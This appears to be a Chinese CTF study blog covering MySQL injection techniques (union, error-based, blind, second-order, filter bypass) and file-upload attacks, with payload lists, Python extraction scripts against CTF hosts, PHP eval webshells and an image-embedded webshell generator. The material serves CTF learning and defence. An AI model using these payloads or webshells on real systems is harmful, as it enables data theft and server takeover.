假设最大长度限制为 25 我们输入用户名为 admin[20 个空格 ]1, 密码随意。select 检查的时候实际用的是 admin1,这时数据库中是不存在 admin1 的,(假设数据库中已经存在 admin),所以会执行 insert 操作。但由于 select 与 insert 机制不同,insert 会直接截断,插入的是 admin[20 个空格],由于 SQL 处理字符串的机制,实际插入的就变成了 admin,这样库中就插入了两条 admin

  • 文件操作:利用 SQL 注入进行文件读写操作。
  • UDF 提权:UDF(用户自定义函数)是数据库中的一种扩展机制,允许用户创建自己的函数。通过 SQL 注入,创建恶意的 UDF,然后利用该 UDF 执行系统命令或进行其他提权操作。
  • WAF Bypass:对常见的 SQL 注入关键字或者符号进行过滤,需要通过各类特性绕过限制从而实现注入。

前言

(本文只介绍联合查询、时间盲注、布尔盲注、报错注入,其余可能会另写)

现在的SQL在比赛中也比较少出现了,或者说2025年我参加的比赛中根本就没出现过,这边就只介绍MySQL

要判断是不是MySQL的数据库,只要看他的报错信息

如果报错信息是:

1
You have an error in your SQL syntax; ... near '' at line 1

那么就是MySQL数据库

判断注入点

基于报错:在输入字段中输入特殊字符(例如,单引号 ')可能会触发 SQL 报错

如果应用程序显示详细的报错消息,则可以指示潜在的 SQL 注入点

  • 简单字符:', ", ;, )*
  • 编码后的简单字符:%27, %22, %23, %3B, %29%2A
  • 多重编码:%%2727, %25%27
  • Unicode 字符:U+02BA U+02B9
    • MODIFIER LETTER DOUBLE PRIME (U+02BA 编码为 %CA%BA) 被转换为 U+0022 QUOTATION MARK (`)
    • MODIFIER LETTER PRIME (U+02B9 编码为 %CA%B9) 被转换为 U+0027 APOSTROPHE (`’)

基于逻辑:通过输入永真条件(总是成立),可以测试漏洞。例如,将 admin' OR '1'='1 输入到用户名字段中,如果系统有漏洞,则可能以管理员身份登录

  • 合并字符

    1
    2
    3
    4
    5
    6
    `+HERP
    '||'DERP
    '+'herp
    ' 'DERP
    '%20'HERP
    '%2B'HERP
  • 逻辑测试

    1
    2
    3
    4
    ?id=1 or 1=1 -- true
    ?id=1' or 1=1 -- true
    ?id=1" or 1=1 -- true
    ?id=1 and 1=2 -- false

基于时间:输入引发故意延迟的 SQL 命令(例如,使用 MySQL 中的 SLEEPBENCHMARK 函数)可以帮助识别潜在的注入点。如果应用程序在此类输入后响应时间异常长,则可能存在漏洞

  • 时间测试
1
2
?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a 正常响应

常用参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()unhex():用于 hex 编码解码
  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

判断字段数:

  • order by 1 #

information_schema数据库

  • schemata: 保存当前整个服务器所有的数据库信息 库名
  • tables: 保存当前整个服务器所有的数据表的信息 表名 table_name
  • columns: 保存当前整个服务器所有的字段信息 字段名
  • group_concat: 去重
  • concat: 将两个字段拼接起来(concat(database(),1),会回显数据名+1)

基本命令

获取库名。修改参数为?id=-1' union select 1,2,database()--+

获取表名。修改参数为?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()–+

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23 (这只是一个例子)

爆数据库:1';show databases;#

爆表:1';show tables;#

爆字段:1';show columns from (自己填);#

测试字段数:1' order by 1 #

Bypass

空格绕过

URL 编码:

  • %09 .Eg:?id=1%09and%091=1%09--
  • %0A .Eg:?id=1%0Aand%0A1=1%0A--
  • %0B .Eg:?id=1%0Band%0B1=1%0B--
  • %0C .Eg:?id=1%0Cand%0C1=1%0C--
  • %0D .Eg:?id=1%0Dand%0D1=1%0D--
  • %A0 .Eg:?id=1%A0and%A01=1%A0--
  • %A0 .Eg:?id=1%A0and%A01=1%A0--

IFS:

${IFS}

$9IFS

注释&括号:

注释 -1?id=1/*comment*/AND/**/1=1/**/--

注释 -2?id=1/*!12345UNION*//*!12345SELECT*/1--

括号 -1?id=(1)and(1)=(1)--

逗号绕过

使用 OFFSETFROMJOIN 进行绕过。

BAN 绕过
LIMIT 0,1 LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

等号绕过

使用 LIKENOT ININBETWEEN 进行绕过

绕过 SQL 示例
LIKE SUBSTRING(VERSION(),1,1)LIKE(5)
NOT IN SUBSTRING(VERSION(),1,1)NOT IN(4,3)
IN SUBSTRING(VERSION(),1,1)IN(4,3)
BETWEEN SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4

大小写绕过

使用大写 / 小写进行绕过。

大写:AND 小写:and 混合:aNd

符号和字母相互代替

BAN 绕过方法
AND &&
OR ||
= LIKE, REGEXP, BETWEEN
> NOT BETWEEN 0 AND X
WHERE HAVING

创建表格

1
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'

这部分创建了一个临时的虚拟表,其中包含两列:username 和 password,并且它们的值分别是 ‘admin’ 和 ‘123’,上面的子查询被命名为 a,这意味着整个子查询的结果会被视为一个名为 a 的表

这部分从虚拟表 a 中选择 username 和 password 两列,并且只选择满足条件 username=’admin’ 和 password=’123’ 的记录

综合来看,该 SQL 语句最终返回的结果是:

username password
admin 123

联合查询

攻防世界 NewsCenter

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#

//news secret_table

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table'#

//id f14g

1' union select 1,2,group_concat(fl4g) from secret_table#

// QCTF{sq1_inJec7ion_ezzz}

[BUUCTF在线评测](https://buuoj.cn/challenges#[极客大挑战 2019]BabySQL) Baby SQL(双写绕过)

试列数:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23(这个URL编码是#)

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

PS: (双写绕过)

因为在过滤过程中只进行了一次替换。就是将关键字替换为对应的空。

比如 union在程序员处理时被替换为空,那需要我们可以尝试把union改写为 ununionion ,这样红色部分替换为空,则剩下的依然为union还可以结合大小写过滤一起使用

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]ez_sql) EZ_sql(大小写绕过)

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://fb159c83-e932-48ed-88af-dbe07ad17a5a.node5.buuoj.cn:81/?id="


#for i in range(1,100):
#payload = f"TMP0919' Order by {i}%23"
#res = requests.get(url=url + payload)
#print(res.text)
#if("id" not in res.text):
# print(f"i = {i}")
# break

#payload = "1' uNion Select ((sElect gRoUp_cOnCat(TaBle_nAme) From infOrmation_schema.tables WHeRe Table_schema=Database())),2,3,4,5%23"
#payload = "1' uNion Select ((sElect gRoUp_cOnCat(column_name) From infOrmation_schema.columns WHeRe Table_name='here_is_flag')),2,3,4,5%23"
payload = "1' uNion Select ((sElect gRoUp_cOnCat(flag) From here_is_flag)),2,3,4,5%23"
res = requests.get(url + payload)
print(res.text)

报错注入

报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客

SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园

原理

SQL注入分类:

  • 回显正常—> 联合查询 union select
  • 回显报错—>
  • Duplicate entry()
  • extractvalue()
  • updatexml()

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中,在地址栏输入:

?id=1' and updatexml(1, 0x7e, 3) -- a

0x7e 等价于 ~

参数2包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中

结合最开始讲的 concat(),我们可以将触发报错的字符和我们想要查询的语句拼接在一起:

1
?id=1' and updatexml(1, concat(0x7e,version()), 3) -- a

参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面

那么页面就会显示 ~ 和 版本号

局限性

updatexml() 函数的报错内容长度不能超过32个字符

所以我们可以采用 limitsubstr()截取字符的方法

limit

1
2
3
4
?id=-1' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 0,1)),3) -- a
#展示第0条数据
?id=-1' and updatexml(1,concat(0x7e,(select userfrom mysql.user limit 1,1)),3) -- a
#展示第1条数据

substr()

1
2
3
?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(user) from mysql.user), 1 , 31)),3) -- a

#从第一个字符开始截取到第31个字符

步骤总结

判断是否报错
参数中添加单/双引号,页面报错才可进行下一步

1
?id=1' -- a

判断报错条件
参数中添加报错函数,检查报错信息是否正常回显

1
?id=1' and updatexml(1,'~',3) -- a

获取所有数据库

1
?id=-1' and updatexml(1,concat('~',substr( (select group_concat(schema_name) from information_schema.schemata), 1 , 31)),3) -- a

获取所有表

1
?id=1' and updatexml(1,concat('~',substr( (select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 1 , 31)),3) -- a

获取所有字段

1
?id=1' and updatexml(1,concat('~',substr( (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 1 , 31)),3) -- a

同理:

extractvalue()

1
2
3
4
5
6
7
8
9
10
- 此函数从目标XML中返回包含所查询值的字符串

语法:
- extractvalue(XML_document,xpath_string)
- 第一个参数:string格式,为XML文档对象的名称
- 第二个参数:xpath_string(xpath格式的字符串)
- select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
- extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- select user,password from users where user_id=1 and (extractvalue(1,0x7e));
- 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误

floor()函数

rand() 可以产生0和1之间的随机数

floor()返回小于等于括号内该值的最大整数

floor (rand(0)*2) 可以产生两个确定的数,也就是0和1

group by 分类汇总

count(*) 统计结果的记录数

1
select count(*),floor(rand(0)*2) x from mysql(这里只是个名字) group by x;

当count(*)和group by x同时执行时,就会爆出duplicate entry错误

通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)2)的不确定性,即*可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)

如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
判断是否存在报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#

爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
( 改变limit限定数值,可以得出当前的字段 user_id first_name user password)

爆出user和password
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

布尔盲注

SQL注入学习——Bool盲注详解 sqli-labs(Less 8)-CSDN博客

MySQL手注之布尔型盲注详解-腾讯云开发者社区-腾讯云

原理

常用函数

1
2
3
4
5
6
7
database()	  显示数据库名称
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面。

虽然无法根据应用程序的返回页面得到我们需要的信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息

比如比较第一个字符的ASCII码大小是否大于b亦或者小于f这种的,就可以慢慢猜出全部的名字(就是很麻烦)

(所以这里推荐脚本)

先看看手注的步骤

1
2
3
?id=1'and left(database(),1)>'a'--+

//?id=1' and ascii(substr((database()),1,1)) >80--+ (这个80是ASCII码)

假如页面回显是正常的,就说明数据库的第一位是比 a 大的

然后查看第二位

1
2
3
id=1'and left(database(),2)>'sa'--+

//?id=1' and ascii(substr((database()),2,1)) >80--+

以此类推

猜解表名

1
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World) Hack World

时间盲注

原理

时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:

  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

判断是否存在时间盲注

确定注入点以后,需要判断网页是否存在时间盲注,同时满足以下两种情况时,可以确定存在时间盲注:

1
2
?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a 正常响应

第二步:判断长度

1
?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a

如果页面响应时间超过5秒,说明长度判断正确(sleep(5)
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度

(具体时间应该看题目)

第三步:枚举字符

利用MySQL的 if() 和 sleep() 判断字符的内容
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126

1
?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://eci-2ze6irbn0iiiic2wnub2.cloudeci1.ichunqiu.com/index.html'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,data=datas) #json=data
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

二次注入

【CTF】二次注入原理及实战-CSDN博客

SQL注入之二次注入 - FreeBuf网络安全行业门户

原理

用户向数据库里插入恶意的数据,但在数据被插入到数据库之前,先会对数据进行转义处理,但用户输入的数据的内容肯定是一点不变的存进数据库里,又一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能触发SQL注入

常见的函数addslashesget_magic_quotes_gpcmysql_escape_stringmysql_real_escape_string

[BUUCTF在线评测](https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day1 Web5]CyberPunk) CISCN CyberPunk

(这题的二次注入不太纯粹)

这边主要是列举关键部分

首先?file=php://filter/read=convert.base64-encode/resource=change.php

看到关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
#change.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
  • 旧字段的使用: 在更新操作中,old_address字段被设置为之前查询到的address字段的值,即$row['address']。这样,每次更新address时,旧的address值都会被保存到old_address字段中。

所以就可以通过更改地址来进行二次注入

具体表现在:

首先先注册(把注入代码放进第一次提交)

然后再更改地址:

接着访问刚刚注册完成的订单:

这样的话就可以爆出库名了

但是这题的flag在txt里,也算是脑洞题了

1
user_name=ez&phone=ez&address=',`address`=(select(load_file("/flag.txt")))#

PS:打到一半靶机过期了…..尴尬

最终结果:

[BUUCTF在线评测](https://buuoj.cn/challenges#October 2019 Twice SQL Injection) 二次注入

UDF提权

1

宽字节注入

2


文件上传

[CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客](https://blog.csdn.net/qq_65165505/article/details/141370798#:~:text=在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。,将一个正常显示的图片,上传到服务器。 寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。)

【WEB】文件上传 | 狼组安全团队公开知识库

原理

利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中 ,再通过URL去访问以执行恶意代码

普通php/phtml文件上传

直接上传一句话木马:

1
2
GIF89a
<script language="php">eval($_POST['a']);</script>

或者

1
2
3
<?php
@eval ($_POST['a']);
?>

然后直接带着URL+上传文件路径直接访问,然后蚁剑连接,密码就是a

抓包更改后缀

服务端检测(MINE类型检测)

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

服务器代码判断$_FILES [”file“]["type"] 是不是图片格式(image/jpegimage/pngimage/gif),如果不是,则不允许上传

这种类型的题目可以直接BP拦截然后将该文件Content-Type改成他接受的格式即可

%00截断

如果发现上传文件源码是直接拼接一个后缀上去,例如 <file_name>.'.jpg',或者只是对目标路径进行检测,看是否含 jpg 之类的,可以考虑 %00 截断(要是看不了源码也可以尝试截断)

00代表结算符,能把后面的其他东西都删除,从而达到一个上传php文件的效果

(截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态)

例如上传文件shell.php,上传文件路径为/?upload=shell.php

1
2
3
/?upload=shell.php%00.jpg -> /?upload=shell.php

/111.php%00.gif/111.gif -> /111.php

通过.htaccess或者user.ini进行文件上传

.htaccess文件或者称为分布式配置文件,它是 Apache 服务器中的配置文件,提供了针对每个目录设置不同的配置的方法。有些服务器在上传认证时没有拦截.htaccess文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传WEBShell

文件内容:

1
2
3
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样你上传了a.jpg的文件,他会把此文件当作php解析

.user.ini 是一个 PHP 专用的 目录级配置文件,自 PHP 5.3.0 引入,仅作用于 当前目录及其所有子目录(CGI/FastCGI 模式下生效)。它的工作方式类似 Apache 的 .htaccess,但只针对 PHP 解释器,不影响 Web 服务器本身。用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置

文件内容:

1
auto_prepend_file=shell.png

在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行

步骤:先上传 .user.ini 文件,再上传shell.png,成功之后蚁剑连接,但注意URL不要带上shell.png,因为会自动包含进去

解析漏洞

主要有目录解析、文件解析,Apache解析漏洞、Nginx解析漏洞、IIS7.5解析漏洞

目录解析

服务器会把 .asp.asp目录下的文件都解析成asp文件

1
www.xxx.com/xxx.asp/xxx.jpg

文件解析

服务器默认不解析;后面的内容,因此xxx.asp;jpg被解析为xxx.asp文件了

1
www.xxx.com/xxx.asp;.jpg

Apache解析漏洞

服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件

1
AddType application/x-httpd-php .php .phtml

常用后缀:*.php *.php3 *.php4 *.php5 *.phtml *.pht

它可以通过mod_php来运行PHP网页,在解析PHP时,1.php\x0A (1.php%0A) 将被按照PHP后缀进行解析

1
2
3
4
5
6
7
8
9
10
11
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www>
Options -Indexes
AllowOverride ALL
</Directory>

Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准),可用来绕过黑名单过滤

Nginx解析漏洞

与Nginx、php版本无关,属于用户配置不当造成的解析漏洞

cgi.fix_pathinfo

该位于配置文件php.ini中,默认开启

当php遇到文件路径 /test.png/x.php 时,若 /test.png/x.php 不存在,则会去掉最后的 /x.php,然后判断 /test.png

是否存在,若存在,则把 /test.png当做文件/test.png/x.php 解析,如若 test.png 还不存在如果在其前面还有后缀,继续前面的步骤,以此类推。若是关闭该选项,访问 /test.jpg/x.php 只会返回找不到文件

1
2
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

IIS7.5解析漏洞

与Nginx类似

竞争条件攻击

一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击

先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码

1
2
3
<?php
fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');
?>

当1.php上传完成后,客立即访问1.php,会在服务端当前目录下自动生成shell.php,这时就利用了时间差完成了WebShell的上传

双文件上传

适用于只对第一个上传的文件进行过滤,而对后面的文件不做过滤操作

本地POST上传文件:

1
2
3
4
5
6
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

然后第一个上传的文件是允许类型,第二个文件上传php等即可

ZIP压缩包传马

直接将一句话木马写入压缩包即可(用文本编辑器写入)

图片马

创建一个a.php文件

1
<?php phpinfo(); ?>

然后在cmd.exe里,将gif文件和php文件合成为新的一张( /b:二进制、 /a:追加 )

1
copy b.gif /b + a.php /a w.gif

然后用NotePad++打开,就能发现被成功拼接了

上传图片马:

将2.jpg上传至服务器(如/upload/2.jpg)

构造URL:http://127.0.0.1/include.php?file=upload/2.jpg

服务器解析2.jpg时执行隐藏的PHP代码。

使用蚁剑连接

二次渲染

适用于对于上传的文件,有些网站会对图片进行二次处理(格式、尺寸等),服务器会把里面的内容进行替换更新,处理完成后,根据原有图片生成新的进行显示

(下载网站显示的图片,看看某些属性是否进行了变更)

类似环境源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = UPLOAD_PATH.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = UPLOAD_PATH.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = UPLOAD_PATH.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.$newfilename;
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}


GIF二次渲染

GIF 绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置(用010Editor查看)

(图片来源:【文件上传绕过】——二次渲染漏洞_二次渲染绕过-CSDN博客

PNG二次渲染

PNG定义了两种类型的数据块,一种是称为关键数据块,这是标准的数据块,另一种叫做辅助数据块,这是可选的数据块,关键数据块定义了3个标准数据块( IHDR , IDAT , IEND ),每个PNG文件都必须包含它们

IDAT:

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块
IDAT存放着图像真正的数据信息

所以我们下面用php脚本向IDAT数据块中写入一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后生成1.png,然后NotePad++打开后能看到一句话木马

JPG二次渲染

脚本:(若生成失败,就多选取几张进行尝试)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
